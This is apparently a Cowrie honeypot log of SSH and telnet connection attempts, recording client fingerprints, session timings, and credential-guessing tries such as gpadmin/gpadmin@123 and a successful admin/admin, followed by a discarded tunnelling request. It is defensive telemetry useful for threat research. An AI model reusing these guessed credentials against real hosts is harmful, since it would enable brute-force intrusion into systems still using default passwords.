{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:51.049976Z","src_ip":"112.151.178.49","session":"a324cce1ce99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin@123","message":"login attempt [gpadmin/gpadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:51.908859Z","src_ip":"112.151.178.49","session":"a324cce1ce99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:53.118083Z","src_ip":"112.151.178.49","session":"a324cce1ce99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.680033683776855,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:56.330687Z","src_ip":"137.184.155.248","session":"264718fc3a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.030734062194824,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:58.225364Z","src_ip":"185.26.126.47","session":"8a303a7531c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44644,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f60644e7d1e","protocol":"telnet","message":"New connection: 137.184.155.248:44644 (10.17.0.5:23) [session: 3f60644e7d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:03.460429Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44658,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4006eb995fb","protocol":"telnet","message":"New connection: 137.184.155.248:44658 (10.17.0.5:23) [session: f4006eb995fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:05.570262Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":46644,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ed2fad0d018","protocol":"ssh","message":"New connection: 58.186.20.101:46644 (10.17.0.5:22) [session: 1ed2fad0d018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:08.116744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:08.121463Z","src_ip":"58.186.20.101","session":"1ed2fad0d018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.04577708244324,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:08.292540Z","src_ip":"137.184.155.248","session":"21634285bbcd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:08.374700Z","src_ip":"58.186.20.101","session":"1ed2fad0d018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.625729560852051,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:09.086031Z","src_ip":"137.184.155.248","session":"3f60644e7d1e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev!@#","message":"login attempt [dev/dev!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:09.426243Z","src_ip":"58.186.20.101","session":"1ed2fad0d018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.030381202697754,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:10.600454Z","src_ip":"137.184.155.248","session":"f4006eb995fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:10.689339Z","src_ip":"58.186.20.101","session":"1ed2fad0d018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53000,"dst_ip":"10.17.0.5","dst_port":23,"session":"0125d698f4e4","protocol":"telnet","message":"New connection: 137.184.155.248:53000 (10.17.0.5:23) [session: 0125d698f4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:14.766978Z"}
{"eventid":"cowrie.session.closed","duration":44.67573380470276,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:17.099073Z","src_ip":"137.184.155.248","session":"4c1e051aa4c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53016,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aaad1280c91","protocol":"telnet","message":"New connection: 137.184.155.248:53016 (10.17.0.5:23) [session: 9aaad1280c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:19.105423Z"}
{"eventid":"cowrie.session.closed","duration":45.083683490753174,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:24.372231Z","src_ip":"137.184.155.248","session":"f730d922edc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37586,"dst_ip":"10.17.0.5","dst_port":23,"session":"c41593a98950","protocol":"telnet","message":"New connection: 137.184.155.248:37586 (10.17.0.5:23) [session: c41593a98950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:26.820957Z"}
{"eventid":"cowrie.session.closed","duration":46.25416874885559,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:30.934602Z","src_ip":"137.184.155.248","session":"a996f4ee7807","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.76558709144592,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:31.590278Z","src_ip":"137.184.155.248","session":"1eed0e2997e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37162,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0bdef9601a8","protocol":"telnet","message":"New connection: 137.184.155.248:37162 (10.17.0.5:23) [session: a0bdef9601a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:37.583189Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37168,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f6fe0a8b742","protocol":"telnet","message":"New connection: 137.184.155.248:37168 (10.17.0.5:23) [session: 0f6fe0a8b742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:38.158593Z"}
{"eventid":"cowrie.session.closed","duration":48.0230667591095,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:38.812457Z","src_ip":"137.184.155.248","session":"607feb0d6133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.022456645965576,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:38.816304Z","src_ip":"137.184.155.248","session":"2baf724367f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58054,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d98daa9722","protocol":"telnet","message":"New connection: 137.184.155.248:58054 (10.17.0.5:23) [session: 93d98daa9722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:43.781679Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58056,"dst_ip":"10.17.0.5","dst_port":23,"session":"b17f5dc5cffc","protocol":"telnet","message":"New connection: 137.184.155.248:58056 (10.17.0.5:23) [session: b17f5dc5cffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:44.415903Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58072,"dst_ip":"10.17.0.5","dst_port":23,"session":"7807008d0d8e","protocol":"telnet","message":"New connection: 137.184.155.248:58072 (10.17.0.5:23) [session: 7807008d0d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:46.893298Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":5508,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c376a81d1b8","protocol":"ssh","message":"New connection: 112.151.178.49:5508 (10.17.0.5:22) [session: 5c376a81d1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:48.717985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:48.722702Z","src_ip":"112.151.178.49","session":"5c376a81d1b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:48.929032Z","src_ip":"112.151.178.49","session":"5c376a81d1b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser#2024","message":"login attempt [ftpuser/ftpuser#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:49.787815Z","src_ip":"112.151.178.49","session":"5c376a81d1b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:51.001214Z","src_ip":"112.151.178.49","session":"5c376a81d1b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58082,"dst_ip":"10.17.0.5","dst_port":23,"session":"b709e7d99d07","protocol":"telnet","message":"New connection: 137.184.155.248:58082 (10.17.0.5:23) [session: b709e7d99d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:52.328505Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":39546,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bae76f320bd","protocol":"telnet","message":"New connection: 185.26.126.47:39546 (159.203.135.109:23) [session: 8bae76f320bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:56.456627Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53630,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c7ef0296a1e","protocol":"telnet","message":"New connection: 137.184.155.248:53630 (10.17.0.5:23) [session: 9c7ef0296a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:56.972558Z"}
{"eventid":"cowrie.session.closed","duration":44.16802096366882,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:46:58.934858Z","src_ip":"137.184.155.248","session":"0125d698f4e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.68406271934509,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:00.789356Z","src_ip":"137.184.155.248","session":"9aaad1280c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.82","src_port":5159,"dst_ip":"159.203.135.109","dst_port":22,"session":"66bf092cfbb0","protocol":"ssh","message":"New connection: 65.49.1.82:5159 (159.203.135.109:22) [session: 66bf092cfbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:01.132736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:01.138145Z","src_ip":"65.49.1.82","session":"66bf092cfbb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:01.216502Z","src_ip":"65.49.1.82","session":"66bf092cfbb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.104896545410156,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:02.077338Z","src_ip":"137.184.155.248","session":"9c7ef0296a1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:05.136430Z","src_ip":"65.49.1.82","session":"66bf092cfbb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36136,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a9dfc7a769b","protocol":"ssh","message":"New connection: 87.251.64.176:36136 (10.17.0.5:22) [session: 8a9dfc7a769b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:05.290188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:05.295047Z","src_ip":"87.251.64.176","session":"8a9dfc7a769b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:05.391443Z","src_ip":"87.251.64.176","session":"8a9dfc7a769b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:05.690805Z","src_ip":"87.251.64.176","session":"8a9dfc7a769b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:05.793227Z","session":"8a9dfc7a769b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:05.893523Z","src_ip":"87.251.64.176","session":"8a9dfc7a769b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:05.994167Z","src_ip":"87.251.64.176","session":"8a9dfc7a769b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.236433982849121,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:08.692967Z","src_ip":"185.26.126.47","session":"8bae76f320bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.63941407203674,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:12.460282Z","src_ip":"137.184.155.248","session":"c41593a98950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39510,"dst_ip":"10.17.0.5","dst_port":23,"session":"01a1137f4c4c","protocol":"telnet","message":"New connection: 137.184.155.248:39510 (10.17.0.5:23) [session: 01a1137f4c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:13.054994Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39526,"dst_ip":"10.17.0.5","dst_port":23,"session":"84c1c832fa0d","protocol":"telnet","message":"New connection: 137.184.155.248:39526 (10.17.0.5:23) [session: 84c1c832fa0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:14.461247Z"}
